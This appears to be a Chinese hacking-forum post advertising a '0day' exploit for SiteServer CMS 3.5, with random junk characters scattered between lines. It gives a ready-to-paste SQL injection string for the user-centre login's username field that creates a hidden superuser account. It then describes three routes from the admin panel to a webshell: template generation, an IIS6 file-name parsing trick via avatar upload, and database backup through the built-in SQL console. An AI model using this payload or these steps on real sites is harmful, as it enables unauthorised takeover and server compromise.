SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn


1 s/ K6 _0 g1 l5 k
EXP:
0 T% ?3 L! n: _
直接访问UserCenter/login.aspx
8 t  E& |' z7 {" ^


用户名处输入：
: h# T# o: Y& X# V3 _' v9 u$ `: ^
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--



密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
; m, V1 W6 I5 B) P! g


5 n0 n: v7 z. ]- K' w' A% Q2 Z之后再访问后台SiteServer/login.aspx用插入的用户登陆


0 x5 t8 ?- L0 X3 A* w: [
" t% F4 }7 Q' [+ a后台拿webshell的三种方法：
% s8 R3 T- \/ S2 _
一、
) l- p! m8 T1 S4 q' T+ d8 P
" n+ |; W+ [0 _4 W; r) l$ C: l站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
9 q: N  |* a. ?/ `/ U2 [
. a7 y, M3 d2 U8 G, W" t二、
7 u5 k6 a# T2 Y! Z
成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
: H- d! P6 E  v; C7 n4 ?1 ]- ^7 N2 v+ k0 z
% h* K$ n+ d* ]用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
, C6 [6 v- t8 }( G: h/ D
4 x! a3 K& M  P, n5 o（ps：后台添加用户时不会验证是否含有非法字符）
, W# _6 i  i6 t8 s
三、

/ R; {+ q; D$ I7 C4 u系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
# b) E9 v/ c' }/ m$ y& f. t这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
  T9 p0 B& ^7 ]# p# m* U
% s: p" ]3 Z7 E: ]2 ~1 b1 n